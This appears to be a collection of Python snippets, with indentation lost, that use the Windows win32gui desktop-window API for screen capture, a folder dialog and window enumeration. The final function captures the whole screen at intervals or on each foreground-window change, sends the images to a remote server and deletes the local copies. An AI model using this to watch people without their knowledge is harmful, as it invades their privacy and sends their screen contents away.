def grab_screen(region=None): hwin = win32gui.GetDesktopWindow() if region: left,top,x2,y2 = region width = x2 - left + 1 height = y2 - top + 1 else: width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) hwindc = win32gui.GetWindowDC(hwin) srcdc = win32ui.CreateDCFromHandle(hwindc) memdc = srcdc.CreateCompatibleDC() bmp = win32ui.CreateBitmap() bmp.CreateCompatibleBitmap(srcdc, width, height) memdc.SelectObject(bmp) memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY) signedIntsArray = bmp.GetBitmapBits(True) img = np.fromstring(signedIntsArray, dtype='uint8') img.shape = (height,width,4) srcdc.DeleteDC() memdc.DeleteDC() win32gui.ReleaseDC(hwin, hwindc) win32gui.DeleteObject(bmp.GetHandle()) return cv2.cvtColor(img, cv2.COLOR_BGRA2RGB)
def askOpenFolderWin32(title, initialDir): try: desktop_pidl = shell.SHGetFolderLocation(0, shellcon.CSIDL_DESKTOP, 0, 0) pidl, display_name, image_list = shell.SHBrowseForFolder( win32gui.GetDesktopWindow(), desktop_pidl, "Choose a folder", 0, None, None) return shell.SHGetPathFromIDList(pidl) except pywintypes.com_error as e: if e.args[0] == -2147467259: print "Invalid folder selected"
def __init__(self, window_name=None): if window_name is None: self.hwnd = win32gui.GetDesktopWindow() else: self.hwnd = win32gui.FindWindow(None, window_name) if not self.hwnd: raise Exception('Window not found: {}'.format(window_name)) window_rect = win32gui.GetWindowRect(self.hwnd) self.w = window_rect[2] - window_rect[0] self.h = window_rect[3] - window_rect[1] border_pixels = 0 titlebar_pixels = 0 # self.w = self.w - (border_pixels * 2) # self.h = self.h - titlebar_pixels - border_pixels # self.cropped_x = border_pixels # self.cropped_y = titlebar_pixels self.offset_x = window_rect[0] + self.cropped_x self.offset_y = window_rect[1] + self.cropped_y
def get_root_rect(self): """Return a four values tuple containing the position and size of the very first OS window object.""" flags, showCmd, ptMin, ptMax, rect = win32gui.GetWindowPlacement( win32gui.GetDesktopWindow()) return rect
def getOpenWindow(): desktop = win32gui.GetDesktopWindow() windowSet = set() win32gui.EnumWindows(obsLikeHandler, windowSet) return list(windowSet)
def screen_shot(server, sleep_time, lasting_time, running): path_i = "D:\\new" timedic = { "屏幕变化": "屏幕变化", "不限": "不限", "1s": 1, "2s": 2, "5s": 5, "10s": 10, "30s": 30, "1min": 60, "5min": 300, "10min": 600, "30min": 1800, "1h": 3600, "12h": 43200, "24h": 86400 } start = time.time() # 获取桌面 desktop = win32gui.GetDesktopWindow() # 分辨率适应 width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) # 创建设备描述表 desktop_dc = win32gui.GetWindowDC(desktop) img_dc = win32ui.CreateDCFromHandle(desktop_dc) # 创建一个内存设备描述表 mem_dc = img_dc.CreateCompatibleDC() # 创建位图对象 screenshot = win32ui.CreateBitmap() screenshot.CreateCompatibleBitmap(img_dc, width, height) mem_dc.SelectObject(screenshot) window = win32gui.GetForegroundWindow() pre_window = win32gui.GetWindowText(window) filename = '' while running.isSet(): # 将截图保存到文件中 turn_start = time.time() window = win32gui.GetForegroundWindow() current_window = win32gui.GetWindowText(window) end = time.time() if current_window != pre_window and timedic[sleep_time] == "屏幕变化": pre_window = current_window # 截图至内存设备描述表 mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) isExists = os.path.exists(path_i) if not isExists: os.makedirs(path_i) filename_new = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time())) if filename_new != filename: filename = filename_new else: continue path_r = path_i + '\\' + filename + '.bmp' path_c = path_i + '\\' + filename + '.jpg' try: screenshot.SaveBitmapFile(mem_dc, path_r) compress_image(path_r, path_c, mb=100, step=20, quality=80) os.remove(path_r) except: continue end = time.time() if int(end - start) >= timedic[lasting_time]: flag = 1 else: flag = 0 shot_send_thread = threading.Thread(target=shot_send, args=(server, path_c, flag, path_i, filename)) shot_send_thread.start() time.sleep(0.2) elif timedic[sleep_time] != "屏幕变化": pre_window = current_window # 截图至内存设备描述表 mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) isExists = os.path.exists(path_i) if not isExists: os.makedirs(path_i) filename = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time())) path_r = path_i + '\\' + filename + '.bmp' path_c = path_i + '\\' + filename + '.jpg' screenshot.SaveBitmapFile(mem_dc, path_r) compress_image(path_r, path_c, mb=100, step=20, quality=80) os.remove(path_r) end = time.time() if int(end - start) >= timedic[lasting_time]: flag = 1 else: flag = 0 shot_send_thread = threading.Thread(target=shot_send, args=(server, path_c, flag, path_i, filename)) shot_send_thread.start() turn_end = time.time() time.sleep(timedic[sleep_time] + turn_start - turn_end) if timedic[lasting_time] != "不限": if int(end - start) >= timedic[lasting_time]: break # 内存释放 mem_dc.DeleteDC() win32gui.DeleteObject(screenshot.GetHandle()) if os.path.exists(path_i) == True: try: os.chdir(path_i) for fileima in os.listdir(): os.remove(fileima) os.chdir("../") os.rmdir(path_i) except: pass server.send("screenend".encode())